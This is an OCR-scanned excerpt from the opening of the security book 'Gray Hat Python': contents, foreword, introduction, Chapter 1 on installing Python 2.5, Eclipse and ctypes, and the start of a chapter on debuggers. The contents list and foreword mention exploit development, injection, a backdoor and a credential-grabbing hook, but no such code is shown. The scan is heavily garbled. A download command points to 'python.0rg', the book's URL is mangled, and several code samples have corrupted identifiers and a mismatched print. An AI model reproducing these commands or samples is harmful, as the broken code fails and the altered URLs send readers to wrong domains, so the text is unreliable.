GRAY HAT
PYTHON
PYTHON PROGRAMMING FOR HACKERS AND
REVERSE ENGINEERS
JUSTIN SEITZ
Mom,
If there’s one thing I wish for you to remember,
it’s that I love you very much.
Alzheimer Society of Canada — www.alzheimers.ca
BRIEF CONTENTS
Chapter 1: Setting Up Your Development Environment 1
Chapter 2: Debuggers and Debugger Design 1 3
Chapter 3: Building a Windows Debugger 25
Chapter 4: PyDbg — A Pure Python Windows Debugger 57
Chapter 5: Immunity Debugger — The Best of Both Worlds 69
Chapter 6: Hooking 85
Chapter 7: DLL and Code Injection 97
Chapter 8: Fuzzing 111
Chapter 9: Sulley 123
Chapter 10: Fuzzing Windows Drivers 137
Chapter 1 1: IDAPython — Scripting IDA Pro 153
Chapter 12: PyEmu — The Scriptable Emulator 163
Index 183
CONTENTS IN DETAIL
1
SETTING UP YOUR DEVELOPMENT ENVIRONMENT 1
1.1 Operating System Requirements 2
1.2 Obtaining and Installing Python 2.5 2
1.2.1 Installing Python on Windows 2
1.2.2 Installing Python for Linux 3
1 .3 Setting Up Eclipse and PyDev 4
1.3.1 The Hacker's Best Friend: ctypes 5
1.3.2 Using Dynamic Libraries 6
1.3.3 Constructing C Datatypes 8
1 .3.4 Passing Parameters by Reference 9
1 .3.5 Defining Structures and Unions 9
2
DEBUGGERS AND DEBUGGER DESIGN 13
2.1 General-Purpose CPU Registers 14
2.2 The Stack 16
2.3 Debug Events 1 8
2.4 Breakpoints 1 8
2.4.1 Soft Breakpoints 19
2.4.2 Hardware Breakpoints 21
2.4.3 Memory Breakpoints 23
3
BUILDING A WINDOWS DEBUGGER 25
3.1 Debuggee, Where Art Thou? 25
3.2 Obtaining CPU Register State 33
3.2.1 Thread Enumeration 33
3.2.2 Putting It All Together 35
3.3 Implementing Debug Event Handlers 39
3.4 The Almighty Breakpoint 43
3.4.1 Soft Breakpoints 43
3.4.2 Hardware Breakpoints 47
3.4.3 Memory Breakpoints 52
3.5 Conclusion 55
4
PYDBG — A PURE PYTHON WINDOWS DEBUGGER 57
4.1 Extending Breakpoint Handlers 58
4.2 Access Violation Handlers 60
4.3 Process Snapshots 63
4.3.1 Obtaining Process Snapshots 63
4.3.2 Putting It All Together 65
5
IMMUNITY DEBUGGER— THE BEST OF BOTH WORLDS 69
5.1 Installing Immunity Debugger 70
5.2 Immunity Debugger 101 70
5.2.1 PyCommands 71
5.2.2 Pyl looks 71
5.3 Exploit Development 73
5.3.1 Finding Exploit-Friendly Instructions 73
5.3.2 Bad-Character Filtering 75
5.3.3 Bypassing DEP on Windows 77
5.4 Defeating Anti-Debugging Routines in Malware 81
5.4.1 IsDebuggerPresent 81
5.4.2 Defeating Process Iteration 82
6
HOOKING 85
6.1 Soft Hooking with PyDbg 86
6.2 Hard Hooking with Immunity Debugger 90
7
DLL AND CODE INJECTION 97
7.1 Remote Thread Creation 98
7.1 .1 DLL Injection 99
7.1.2 Code Injection 101
7.2 Getting Evil 1 04
7.2.1 File Hiding 104
7.2.2 Coding the Backdoor 105
7.2.3 Compiling with py2exe 108
8
FUZZING 111
8.1 Bug Classes 1 1 2
8.1.1 Buffer Overflows 112
8.1 .2 Integer Overflows 113
8. 1 .3 Format String Attacks 1 1 4
8.2 File Fuzzer 1 1 5
8.3 Future Considerations 122
8.3.1 Code Coverage 122
8.3.2 Automated Static Analysis 122
X Contents in Detail
9
SULLEY 123
9.1 Sulley Installation 124
9.2 Sulley Primitives 125
9.2.1 Strings 1 25
9.2.2 Delimiters 1 25
9.2.3 Static and Random Primitives 126
9.2.4 Binary Data 126
9.2.5 Integers 126
9.2.6 Blocks and Groups 127
9.3 Slaying WarFTPD with Sulley 129
9.3.1 FTP 101 129
9.3.2 Creating the FTP Protocol Skeleton 130
9.3.3 Sulley Sessions 131
9.3.4 Network and Process Monitoring 1 32
9.3.5 Fuzzing and the Sulley Web Interface 1 33
10
FUZZING WINDOWS DRIVERS 137
10.1 Driver Communication 138
10.2 Driver Fuzzing with Immunity Debugger 139
10.3 Driverlib — The Static Analysis Tool for Drivers 142
10.3.1 Discovering Device Names 143
10.3.2 Finding the IOCTL Dispatch Routine 144
10.3.3 Determining Supported IOCTL Codes 145
10.4 Building a Driver Fuzzer 147
1 1
IDAPYTHON— SCRIPTING IDA PRO 153
11.1 IDAPython Installation 154
11.2 IDAPython Functions 155
11.2.1 Utility Functions 155
1 1 .2.2 Segments 1 55
1 1 .2.3 Functions 1 56
11.2.4 Cross-References 156
11.2.5 Debugger Hooks 157
11.3 Example Scripts 158
1 1.3.1 Finding Dangerous Function Cross-References 158
1 1 .3.2 Function Code Coverage 160
11.3.3 Calculating Stack Size 161
12
PYEMU— THE SCRIPTABLE EMULATOR 163
12.1 Installing PyEmu 164
12.2 PyEmu Overview 164
12.2.1 PyCPU 164
12.2.2 PyMemory 165
12.2.3 PyEmu 165
Contents in Detail XI
12.2.4 Execution 165
1 2.2.5 Memory and Register Modifiers 1 65
12.2.6 Handlers 166
12.3 IDAPyEmu 171
12.3.1 Function Emulation 172
12.3.2 PEPyEmu 175
12.3.3 Executable Packers 176
12.3.4 UPX Packer 176
12.3.5 Unpacking UPX with PEPyEmu 177
INDEX 183
XII Contents in Detail
FOREWORD
The phrase most often heard at Immunity is probably,
“Is it done yet?” Common parlance usually goes some-
thing like this: “I’m starting work on the new ELF
importer for Immunity Debugger.” Slight pause. “Is it
done yet?” or “I just found a bug in Internet Explorer!”
And then, “Is the exploit done yet?” It’s this rapid pace of development, modi-
fication, and creation that makes Python the perfect choice for your next
security project, be it building a special decompiler or an entire debugger.
I find it dizzying sometimes to walk into Ace Hardware here in South
Beach and walk down the hammer aisle. There are around 50 different kinds
on display, arranged in neat rows in the tiny store. Each one has some minor
but extremely important difference from the next. I’m not enough of a handy-
man to know what the ideal use for each device is, but the same principle holds
when creating security tools. Especially when working on web or custom-built
apps, each assessment is going to require some kind of specialized “hammer.”
Being able to throw together something that hooks the SQL API has saved an
Immunity team on more than one occasion. But of course, this doesn’t just
apply to assessments. Once you can hook the SQL API, you can easily write a
tool to do anomaly detection against SQL queries, providing your organiza-
tion with a quick fix against a persistent attacker.
Everyone knows that it’s pretty hard to get your security researchers to
work as part of a team. Most security researchers, when faced with any sort of
problem, would like to first rebuild the library they are going to use to attack
the problem. Let’s say it’s a vulnerability in an SSL daemon of some kind. It’s
very likely that your researcher is going to want to start by building an SSL
client, from scratch, because “the SSL library I found was ugly.”
You need to avoid this at all costs. The reality is that the SSL library is
not ugly — it just wasn’t written in that particular researcher’s particular style.
Being able to dive into a big block of code, find a problem, and fix it is the
key to having a working SSL library in time for you to write an exploit while
it still has some meaning. And being able to have your security researchers
work as a team is the key to making the kinds of progress you require. One
Python-enabled security researcher is a powerful thing, much as one Ruby-
enabled one is. The difference is the ability of the Pythonistas to work
together, use old source code without rewriting it, and otherwise operate
as a functioning superorganism. That ant colony in your kitchen has about
the same mass as an octopus, but it’s much more annoying to try to kill!
And here, of course, is where this book helps you. You probably already
have tools to do some of what you want to do. You say, “I’ve got Visual Studio.
It has a debugger. I don’t need to write my own specialized debugger.” Or,
“Doesn’t WinDbg have a plug-in interface?” And the answer is yes, of course
WinDbg has a plug-in interface, and you can use that API to slowly put
together something useful. But then one day you’ll say, “Heck, this would
be a lot better if I could connect it to 5,000 other people using WinDbg and
we could correlate our results.” And if you’re using Python, it takes about
100 lines of code for both an XML-RPC client and a server, and now everyone
is synchronized and working off the same page.
Because hacking is not reverse engineering — your goal is not to come
up with the original source code for the application. Your goal is to have a
greater understanding of the program or system than the people who built it.
Once you have that understanding, no matter what the form, you will be able
to penetrate the program and get to the juicy exploits inside. This means
that you’re going to become an expert at visualization, remote synchroni-
zation, graph theory, linear equation solving, statistical analysis techniques,
and a whole host of other things. Immunity’s decision regarding this has
been to standardize entirely on Python, so every time we write a graph
algorithm, it can be used across all of our tools.
In Chapter 6, Justin shows you how to write a quick hook for Firefox to
grab usernames and passwords. On one hand, this is something a malware
writer would do — and previous reports have shown that malware writers do
use high-level languages for exactly this sort of thing (http://philosecurity.org/
2009/01/ 12/interview-with-an-adware-author) . On the other hand, this is
precisely the sort of thing you can whip up in 15 minutes to demonstrate
to developers exactly which of the assumptions they are making about their
software are clearly untrue. Software companies invest a lot in protecting their
internal memory for what they claim are security reasons but are really copy
protection and digital rights management (DRM) related.
So here’s what you get with this book: the ability to rapidly create software
tools that manipulate other applications. And you get to do this in a way that
allows you to build on your success either by yourself or with a team. This is
the future of security tools: quickly implemented, quickly modified, quickly
connected. I guess the only question left is, “Is it done yet?”
Dave Aitel
Miami Beach, Florida
February 2009
Foreword XV
ACKNOWLEDGMENTS
I would like to thank my family for tolerating me throughout the whole
process of writing this book. My four beautiful children, Emily, Carter, Cohen,
and Brady, you helped give Dad a reason to keep writing this book, and I love
you very much for being the great kids you are. My brothers and sister, thanks
for encouraging me through the process. You guys have written some tomes
yourselves, and it was always helpful to have someone who understands the
rigor needed to put out any kind of technical work — I love you guys. To my
Dad, your sense of humor helped me through a lot of the days when I didn’t
feel like writing — I love ya Harold; don’t stop making everyone around you
laugh.
For all those who helped this fledgling security researcher along the
way — -Jared DeMott, Pedram Amini, Cody Pierce, Thomas Heller (the uber
Python man), Charlie Miller — I owe all you guys a big thanks. Team Immunity,
without question you’ve been incredibly supportive of me writing this book,
and you have helped me tremendously in growing not only as a Python dude
but as a developer and researcher as well. A big thanks to Nico and Dami for
the extra time you spent helping me out. Dave Aitel, my technical editor,
helped drive this thing to completion and made sure that it makes sense and
is readable; a huge thanks to Dave. To another Dave, Dave Falloon, thanks so
much for reviewing the book, making me laugh at my own mistakes, saving
my laptop at CanSecWest, and just being the oracle of network knowledge
that you are.
Finally, and I know they always get listed last, the team at No Starch
Press. Tyler for putting up with me through the whole book (trust me, Tyler
is the most patient guy you’ll ever meet), Bill for the great Perl mug and the
words of encouragement, Megan for helping wrap up this book as painlessly
as possible, and the rest of the crew who I know works behind the scenes to
help put out all their great titles. A huge thanks to all you guys; I appreciate
everything you have done for me. Now that the acknowledgments have taken
as long as a Grammy acceptance speech, I’ll wrap it up by saying thanks to all
the rest of the folks who helped me and who I probably forgot to add to the
list — you know who you are.
xviii
Acknowledgments
INTRODUCTION
I learned Python specifically for hacking — and I’d
venture to say that’s a true statement for a lot of other
folks, too. I spent a great deal of time hunting around
for a language that was well suited for hacking and
reverse engineering, and a few years ago it became very apparent that
Python was becoming the natural leader in the hacking-programming-
language department. The tricky part was the fact that there was no real
manual on how to use Python for a variety of hacking tasks. You had to dig
through forum posts and man pages and typically spend quite a bit of time
stepping through code to get it to work right. This book aims to fill that gap
by giving you a whirlwind tour of how to use Python for hacking and reverse
engineering in a variety of ways.
The book is designed to allow you to learn some theory behind most
hacking tools and techniques, including debuggers, backdoors, fuzzers,
emulators, and code injection, while providing you some insight into how
prebuilt Python tools can be harnessed when a custom solution isn’t needed.
You’ll learn not only how to use Python-based tools but how to build tools in
Python. But be forewarned, this is not an exhaustive reference! There are
many, many infosec (information security) tools written in Python that I did
not cover. However, this book will allow you to translate a lot of the same
skills across applications so that you can use, debug, extend, and customize
any Python tool of your choice.
There are a couple of ways you can progress through this book. If you
are new to Python or to building hacking tools, then you should read the
book front to back, in order. You’ll learn some necessary theory, program
oodles of Python code, and have a solid grasp of how to tackle a myriad of
hacking and reversing tasks by the time you get to the end. If you are familiar
with Python already and have a good grasp on the Python library ctypes,
then jump straight to Chapter 2. For those of you who have been around
the block, it’s easy enough to jump around in the book and use code snippets
or certain sections as you need them in your day-to-day tasks.
I spend a great deal of time on debuggers, beginning with debugger
theory in Chapter 2, and progressing straight through to Immunity Debugger
in Chapter 5. Debuggers are a crucial tool for any hacker, and I make no bones
about covering them extensively. Moving forward, you’ll learn some hooking
and injection techniques in Chapters 6 and 7, which you can add to some of
the debugging concepts of program control and memory manipulation.
The next section of the book is aimed at breaking applications using
fuzzers. In Chapter 8, you’ll begin learning about fuzzing, and we’ll construct
our own basic file fuzzer. In Chapter 9, we’ll harness the powerful Sulley
fuzzing framework to break a real-world FTP daemon, and in Chapter 10
you’ll learn how to build a fuzzer to destroy Windows drivers.
In Chapter 11, you’ll see how to automate static analysis tasks in IDA Pro,
the popular binary static analysis tool. We’ll wrap up the book by covering
PyEmu, the Python-based emulator, in Chapter 12.
I have tried to keep the code listings somewhat short, with detailed
explanations of how the code works inserted at specific points. Part of learn-
ing a new language or mastering new libraries is spending the necessary sweat
time to actually write out the code and debug your mistakes. I encourage you
to type in the code! All source will be posted to http://iuiuiu.nostarch.com/
ghpython.htm for your downloading pleasure.
Now let’s get coding!
XX Introd
:tion
SETTING UP VOUR
DEVELOPMENT ENVIRONMENT
Before you can experience the art of gray hat Python
programming, you must work through the least excit-
ing portion of this book, setting up your development
environment. It is essential that you have a solid devel-
opment environment, which allows you to spend time
absorbing the interesting information in this book
rather than stumbling around trying to get your code
to execute.
This chapter quickly covers the installation of Python 2.5, configuring your
Eclipse development environment, and the basics of writing C-compatible
code with Python. Once you have set up the environment and understand
the basics, the world is your oyster; this book will show you how to crack
it open.
1.1 Operating System Requirements
I assume that you are using a 32-bit Windows-based platform to do most of
your coding. Windows has the widest array of tools and lends itself well to
Python development. All of the chapters in this book are Windows-specific,
and most examples will work only with a Windows operating system.
However, there are some examples that you can run from a Linux
distribution. For Linux development, I recommend you download a 32-bit
Linux distro as a VMware appliance. VMware’s appliance player is free, and
it enables you to quickly move files from your development machine to your
virtualized Linux machine. If you have an extra machine lying around, feel
free to install a complete distribution on it. For the purpose of this book,
use a Red Hat-based distribution like Fedora Core 7 or Centos 5. Of course,
alternatively, you can run Linux and emulate Windows. It’s really up to you.
FREE VMWARE IMAGES
VMware provides a directory of free appliances on its website. These appliances
enable a reverse engineer or vulnerability researcher to deploy malware or applica-
tions inside a virtual machine for analysis, which limits the risk to any physical
infrastructure and provides an isolated scratchpad to work with. You can visit the
virtual appliance marketplace at http://www.vmware.com/appliances / and
download the player at http://www.vmware .com/ products/ player/ .
1 .2 Obtaining and Installing Python 2.5
The Python installation is quick and painless on both Linux and Windows.
Windows users are blessed with an installer that takes care of all of the setup
for you; however, on Linux you will be building the installation from source
code.
1.2. 1 Installing Python on Windows
Windows users can obtain the installer from the main Python site: http://
python.org/ ftp/python/2.5. l/python-2. 5.1. msi. Just double-click the installer,
and follow the steps to install it. It should create a directory at C:/Python25/\
this directory will have the python.exe interpreter as well as all of the default
libraries installed.
NOTE You can optionally install Immunity Debugger; which contains not only the debugger
itself but also an installer for Python 2.5. In later chapters you will be using Immu-
nity Debugger for many tasks, so you are welcome to kill two birds with one installer
here. To download and install Immunity Debugger, visit http://debugger
.immunityinc.com/ .
2 Chapter 1
1.2.2 Installing Python for Linux
To install Python 2.5 for Linux, you will be downloading and compiling from
source. This gives you full control over the installation while preserving the
existing Python installation that is present on a Red Hat-based system. The
installation assumes that you will be executing all of the following commands
as the root user.
The first step is to download and unzip the Python 2.5 source code. In a
command-line terminal session, enter the following:
# cd /usr/local/
# wget http://python.0rg/ftp/python/2.5.l/Python-2.5.l.tgz
# tar -zxvf Python- 2 . 5 .l.tgz
# mv Python- 2 . 5.1 Python25
# cd Python25
You have now downloaded and unzipped the source code into /usr/local/
Python25. The next step is to compile the source code and make sure the
Python interpreter works:
# ./configure --prefix=/usr/local/Python25
# make && make install
# pwd
/usr/local/Python25
# python
Python 2.5.1 (r25l:54863, Mar 14 2012, 07:39:18)
[GCC 3.4.6 20060404 (Red Hat 3. 4. 6-8)] on Linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
You are now inside the Python interactive shell, which provides full
access to the Python interpreter and any included libraries. A quick test will
show that it’s correctly interpreting commands:
>» print "Hello World!
Hello World!
>» exit()
#
Excellent! Everything is working the way you need it to. To ensure that
your user environment knows where to find the Python interpreter auto-
matically, you must edit the /root/ .bashrc file. I personally use nano to do all of
my text editing, but feel free to use whatever editor you are comfortable with.
Open the /root/ .bashrc file, and at the bottom of the file add the following
line:
export PATH=/usr/local/Python25/:$PATH
This line tells the Linux environment that the root user can access the
Python interpreter without having to use its full path. If you log out and log
Setting Up Your Development Environment 3
back in as root, when you type python at any point in your command shell you
will be prompted by the Python interpreter.
Now that you have a fully operational Python interpreter on both Windows
and Linux, it’s time to set up your integrated development environment (IDE). If
you have an IDE that you are already comfortable with, you can skip the next
section.
1 .3 Setting Up Eclipse and PyDev
In order to rapidly develop and debug Python applications, it is absolutely
necessary to utilize a solid IDE. The coupling of the popular Eclipse develop-
ment environment and a module called PyDev gives you a tremendous
number of powerful features at your fingertips that most other IDEs don’t
offer. In addition, Eclipse runs on Windows, Linux, and Mac and has excellent
community support. Let’s quickly run through how to set up and configure
Eclipse and PyDev:
1. Download the Eclipse Classic package from http://www.eclipse.org/
downloads/.
2. Unzip it to C:\Eclipse.
3. Run C:\Eclipse\eclipse.exe.
4. The first time it starts, it will ask where to store your workspace; you can
accept the default and check the box Use this as default and do not ask
again. Click OK.
5. Once Eclipse has fired up, choose Help ► Software Updates ► Find and
Install.
6. Select the radio button labeled Search for new features to install and
click Next.
7. On the next screen click New Remote Site.
8. In the Name field enter a descriptive string like PyDev Update. Make
sure the URL field contains http://pydev.sourceforge. net/updates/ and click
OK. Then click Finish, which will kick in the Eclipse updater.
9. The updates dialog will appear after a few moments. When it does,
expand the top item, PyDev Update, and check the PyDev item. Click
Next to continue.
10. Then read and accept the license agreement for PyDev. If you agree to
its terms, then select the radio button I accept the terms in the license
agreement.
11. Click Next and then Finish. You will see Eclipse begin pulling down the
PyDev extension. When it’s finished, click Install All.
12. The final step is to click Yes on the dialog box that appears after PyDev is
installed; this will restart Eclipse with your shiny new PyDev included.
4 Chapter 1
The next stage of the Eclipse configuration just involves you making sure
that PyDev can find the proper Python interpreter to use when you run scripts
inside PyDev:
1. With Eclipse started, select Window ► Preferences.
2. Expand the PyDev tree item, and select Interpreter - Python.
3. In the Python Interpreters section at the top of the dialog, click New.
4. Browse to C:\Python25\python.exe, and click Open.
5. The next dialog will show a list of included libraries for the interpreter;
leave the selections alone and just click OK.
6. Then click OK again to finish the interpreter setup.
Now you have a working PyDev install, and it is configured to use your
freshly installed Python 2.5 interpreter. Before you start coding, you must
create a new PyDev project; this project will hold all of the source files given
throughout this book. To set up a new project, follow these steps:
1. Select File ► New ► Project.
2. Expand the PyDev tree item, and select PyDev Project. Click Next to
continue.
3. Name the project Gray Hat Python. Click Finish.
You will notice that your Eclipse screen will rearrange itself, and you
should see your Gray Hat Python project in the upper left of the screen.
Now right-click the srcfolder, and select New ► PyDev Module. In the Name
field, enter chapterl-test, and click Finish. You will notice that your project
pane has been updated, and the chapterl-test. py file has been added to the list.
To run Python scripts from Eclipse, just click the Run As button (the
green circle with a white arrow in it) on the toolbar. To run the last script
you previously ran, hit CTRL-F1 1 . When you run a script inside Eclipse, instead
of seeing the output in a command-prompt window, you will see a window
pane at the bottom of your Eclipse screen labeled Console. All of the output
from your scripts will be displayed in the Console pane. You will notice the
editor has opened the chapterl-test. py file and is awaiting some sweet Python
nectar.
1.3. 1 The Hacker's Best Friend: c types
The Python module ctypes is by far one of the most powerful libraries
available to the Python developer. The ctypes library enables you to call
functions in dynamically linked libraries and has extensive capabilities for
creating complex C datatypes and utility functions for low-level memory
manipulation. It is essential that you understand the basics of how to use
the ctypes library, as you will be relying on it heavily throughout the book.
Setting Up Your Development Environment 5
1.3.2 Using Dynamic Libraries
The first step in utilizing ctypes is to understand how to resolve and access
functions in a dynamically linked library. A dynamically linked library is a
compiled binary that is linked at runtime to the main process executable. On
Windows platforms these binaries are called dynamic link libraries (DLL), and
on Linux they are called shared objects (SO). In both cases, these binaries expose
functions through exported names, which get resolved to actual addresses in
memory. Normally at runtime you have to resolve the function addresses in
order to call the functions; however, with ctypes all of the dirty work is already
done.
There are three different ways to load dynamic libraries in ctypes: cdllQ,
windllQ, and oledllQ. The difference among all three is in the way the
functions inside those libraries are called and their resulting return values.
The cdllQ method is used for loading libraries that export functions using
the standard cdecl calling convention. The windllQ method loads libraries
that export functions using the stdcall calling convention, which is the native
convention of the Microsoft Win32 API. The oledllQ method operates
exactly like the windllQ method; however, it assumes that the exported
functions return a Windows HRESULT error code, which is used specifically
for error messages returned from Microsoft Component Object Model (COM)
functions.
For a quick example you will resolve the printfQ function from the C
runtime on both Windows and Linux and use it to output a test message.
On Windows the C runtime is msvcrt.dll , located in C:\WINDOWS\system32\,
and on Linux it is libc.so.6, which is located in /lib/ by default. Create a
ch apter 1 -prinlfpy script, either in Eclipse or in your normal Python working
directory, and enter the following code.
chapter 1-printf.py Code on Windows
from ctypes import *
msvert = cdll.msvcrt
message_string = "Hello world !\n"
msvert. printf( "Testing: %s", message_string)
The following is the output of this script:
C:\Python25> python chapterl-printf .py
Testing: Hello world!
C:\Python25>
On Linux, this example will be slightly different but will net the same
results. Switch to your Linux install, and create chapterl-printf.py inside your
/root/ directory.
h Chapter 1
UNDERSTANDING CALLING CONVENTIONS
A calling convention describes how to properly call a particular function. This includes
the order of how function parameters are allocated, which parameters are pushed
onto the stack or passed in registers, and how the stack is unwound when a function
returns. You need to understand two calling conventions: cdecl and stdcall. In the
cdecl convention, parameters are pushed from right to left, and the caller of the func-
tion is responsible for clearing the arguments from the stack. It's used by most C
systems on the x86 architecture.
Following is an example of a cdecl function call:
In C
int python_rocks(reason_one, reasonjtwo, reason jthree);
In x86 Assembly
push reasonjthree
push reasonjtwo
push reason_one
call python_rocks
add esp, 12
You can clearly see how the arguments are passed, and the last line increments
the stack pointer 1 2 bytes (there are three parameters to the function, and each stack
parameter is 4 bytes, and thus 12 bytes), which essentially clears those parameters.
An example of the stdcall convention, which is used by the Win32 API, is shown
here:
InC
int my_socks(color_one colorjtwo, colorjthree);
In x86 Assembly
push colorjthree
push color_two
push color_one
call my_socks
In this case you can see that the order of the parameters is the same, but the stack
clearing is not done by the caller; rather the my_socks function is responsible for
cleaning up before it returns.
For both conventions it's important to note that return values are stored in the EAX
register.
Setting Up Your Development Environment
chapter 1-printf.py Code on Linux
from ctypes import *
libc = CDLL("libc.so.6")
message_string = "Hello world !\n"
libc. printf( "Testing: %s " , message_string)
The following is the output from the Linux version of your script:
# python /root/chapterl-printf.py
Testing: Hello world!
#
It is that easy to be able to call into a dynamic library and use a function
that is exported. You will be using this technique many times throughout the
book, so it is important that you understand how it works.
1.3.3 Constructing C Datatypes
Creating a C datatype in Python is just downright sexy, in that nerdy, weird
way. Having this feature allows you to fully integrate with components written
in C and C++, which greatly increases the power of Python. Briefly review
Table 1-1 to understand how datatypes map back and forth between C, Python,
and the resulting ctypes type.
Table 1-1: Python to C Datatype Mapping
C Type
Python Type
ctypes Type
char
1 -character string
c char
wchar_t
1 -character Unicode string
c wchar
char
int/long
c byte
char
int/long
c_ubyte
short
int/long
c_short
unsigned short
int/long
c_ushort
int
int/long
C_int
unsigned int
int/long
c_uint
long
int/long
c_long
unsigned long
int/long
c_ulong
long long
int/long
c_longlong
unsigned long long
int/long
c_ulonglong
float
float
c_float
double
float
c double
char * (NULL terminated)
string or none
c char_p
wcharjt * (NULL terminated)
Unicode or none
c wchar p
void *
int/long or none
c_void_p
8 Chapl er 1
See how nicely the datatypes are converted back and forth? Keep this table
handy in case you forget the mappings. The ctypes types can be initialized
with a value, but it has to be of the proper type and size. For a demonstration,
open your Python shell and enter some of the following examples:
C:\Python25> python.exe
Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on Win32
Type "help", "copyright", "credits" or "license" for more information.
»> from ctypes import *
»> c_int()
c_long(°)
»> c_char_p("Hello world!")
c_char_p(' Hello world! ')
»> c_ushort(-5)
c_ushort(6553l)
»>
»> seitz = c_char_p("loves the python")
»> print seitz
c_char_p( 'loves the python')
»> print seitz. value
loves the python
»> exit()
The last example describes how to assign the variable seitz a character
pointer to the string "loves the python". To access the contents of that pointer
use the seitz. value method, which is called dereferencing a pointer.
1.3.4 Passing Parameters by Reference
It is common in C and C++ to have a function that expects a pointer as one of
its parameters. The reason is so the function can either write to that location
in memory or, if the parameter is too large, pass by value. Whatever the case
may be, ctypes comes fully equipped to do just that, by using the byrefQ
function. When a function expects a pointer as a parameter, you call it like
this: function_main( byref (parameter) ).
1.3.5 Defining Structures and Unions
Structures and unions are important datatypes, as they are frequently used
throughout the Microsoft Win32 API as well as with libc on Linux. A structure
is simply a group of variables, which can be of the same or different datatypes.
You can access any of the member variables in the structure by using dot
notation, like this: beer_recipe.amt_barley. This would access the amt_barley
variable contained in the beer_recipe structure. Following is an example of
defining a structure (or struct as they are commonly called) in both C and
Python.
Setting Up Your Development Environment 9
InC
struct beer_recipe
{
int amt_barley;
int amt_water;
In Python
class beer_recipe(Structure) :
_fields_ = [
("amt_barley", c_int),
("amt_water", c_int),
]
As you can see, ctypes has made it very easy to create C-compatible
structures. Note that this is not in fact a complete recipe for beer, nor do I
encourage you to drink barley and water.
Unions are much the same as structures. However, in a union all of the
member variables share the same memory location. By storing variables in
this way, unions allow you to specify the same value in different types. The
next example shows a union that allows you to display a number in three
different ways.
InC
union {
long barley_long;
int barley_int;
char barley_char[8] ;
}barley_amount;
In Python
class barley_amount(Union) :
_fields_ = [
("barleyJLong", c_long),
("barley_int", c_int),
("barley_char", c_char * 8),
]
If you assigned the barley_amount union’s member variable barley_int
a value of 66, you could then use the barley_char member to display the
character representation of that number. To demonstrate, create a new file
called chapterl-unions.py and hammer out the following code.
10 Chapter 1
chapter 1 -unions.py
from ctypes import *
class barley_amount(Union) :
_fields_ = [
("barleyJLong", cJLong),
("barley_int", c_int),
("barley_char", c_char * 8),
]
value = raw_input("Enter the amount of barley to put into the beer vat:")
my_barley = barley_amount(int (value))
print "Barley amount as a long: %ld" % my_barley.barley_long
print "Barley amount as an int: %d" % my_barley. barleyJLong
print "Barley amount as a char: %s" % my_barley.barley_char
The output from this script would look like this:
C:\Python25> python chapterl-unions.py
Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66
Barley amount as an int: 66
Barley amount as a char: B
C:\Python25>
As you can see, by assigning the union a single value, you get three
different representations of that value. If you are confused by the output of
the barley_char variable, B is the ASCII equivalent of decimal 66.
The barley_char member variable is an excellent example of how to
define an array in ctypes. In ctypes an array is defined by multiplying a type
by the number of elements you want allocated in the array. In the previous
example, an eight-element character array was defined for the member
variable barley_char.
You now have a working Python environment on two separate operating
systems, and you have an understanding of how to interact with low-level
libraries. It is now time to begin applying this knowledge to create a wide
array of tools to assist in reverse engineering and hacking software. Put your
helmet on.
Setting Up Your Development Environment 1 1
DEBUGGERS AND
DEBUGGER DESIGN
Debuggers are the apple of the hacker’s eye. Debuggers
enable you to perform runtime tracing of a process,
or dynamic analysis. The ability to perform dynamic
analysis is absolutely essential when it comes to exploit
development, fuzzer assistance, and malware inspection. It is crucial that you
understand what debuggers are and what makes them tick. Debuggers provide
a whole host of features and functionality that are useful when assessing soft-
ware for defects. Most come with the ability to run, pause, or step a process;
set breakpoints; manipulate registers and memory; and catch exceptions that
occur inside the target process.
But before we move forward, let’s discuss the difference between a
white-box debugger and a black-box debugger. Most development platforms,
or IDEs, contain a built-in debugger that enables developers to trace through
their source code with a high degree of control. This is called luhite-box
debugging. While these debuggers are useful during development, a reverse
engineer, or bug hunter, rarely has the source code available and must employ
black-box debuggers for tracing target applications. A black-box debugger
assumes that the software under inspection is completely opaque to the
hacker, and the only information available is in a disassembled format.
While this method of finding errors is more challenging and time consuming,
a well-trained reverse engineer is able to understand the software system at a
very high level. Sometimes the folks breaking the software can gain a deeper
understanding than the developers who built it!
It is important to differentiate two subclasses of black-box debuggers: user
mode and kernel mode. User mode (commonly referred to as ring 3) is a pro-
cessor mode under which your user applications run. User-mode applications
run with the least amount of privilege. When you launch calc.exe to do some
math, you are spawning a user-mode process; if you were to trace diis applica-
tion, you would be doing user-mode debugging. Kernel mode ( ring 0) is the
highest level of privilege. This is where the core of the operating system runs,
along with drivers and other low-level components. When you sniff packets
with Wireshark, you are interacting with a driver that works in kernel mode.
If you wanted to halt the driver and examine its state at any point, you would
use a kernel-mode debugger.
There is a short list of user-mode debuggers commonly used by reverse
engineers and hackers: WinDbg, from Microsoft, and OllyDbg, a free debugger
from Oleh Yuschuk. When debugging on Linux, you’d use the standard GNU
Debugger (gdb). All three of these debuggers are quite powerful, and each
offers a strength that others don’t provide.
In recent years, however, there have been substantial advances in intelligent
debugging, especially for the Windows platform. An intelligent debugger is
scriptable, supports extended features such as call hooking, and generally
has more advanced features specifically for bug hunting and reverse engineer-
ing. The two emerging leaders in this field are PyDbg by Pedram Amini and
Immunity Debugger from Immunity, Inc.
PyDbg is a pure Python debugging implementation that allows the
hacker full and automated control over a process, entirely in Python.
Immunity Debugger is an amazing graphical debugger that looks and feels
like OllyDbg but has numerous enhancements as well as the most powerful
Python debugging library available today. Both of these debuggers get a
thorough treatment in later chapters of this book. But for now, let’s dive
into some general debugging theory.
In this chapter, we will focus on user-mode applications on the x86 plat-
form. We will begin by examining some very basic CPU architecture, coverage
of the stack, and the anatomy of a user-mode debugger. The goal is for you
to be able create your own debugger for any operating system, so it is critical
that you understand the low-level theory first.
2.1 General-Purpose CPU Registers
A register is a small amount of storage on the CPU and is the fastest method
for a CPU to access data. In the x86 instruction set, a CPU uses eight general-
purpose registers: EAX, EDX, ECX, ESI, EDI, EBP, ESP, and EBX. More
registers are available to the CPU, but we will cover them only in specific
14 Chapter 2
circumstances where they are required. Each of the eight general-purpose
registers is designed for a specific use, and each performs a function that
enables the CPU to efficiently process instructions. It is important to under-
stand what these registers are used for, as this knowledge will help to lay the
groundwork for understanding how to design a debugger. Let’s walk through
each of the registers and its function. We will finish up by using a simple
reverse engineering exercise to illustrate their uses.
The EAX register, also called the accumulator register', is used for perform-
ing calculations as well as storing return values from function calls. Many
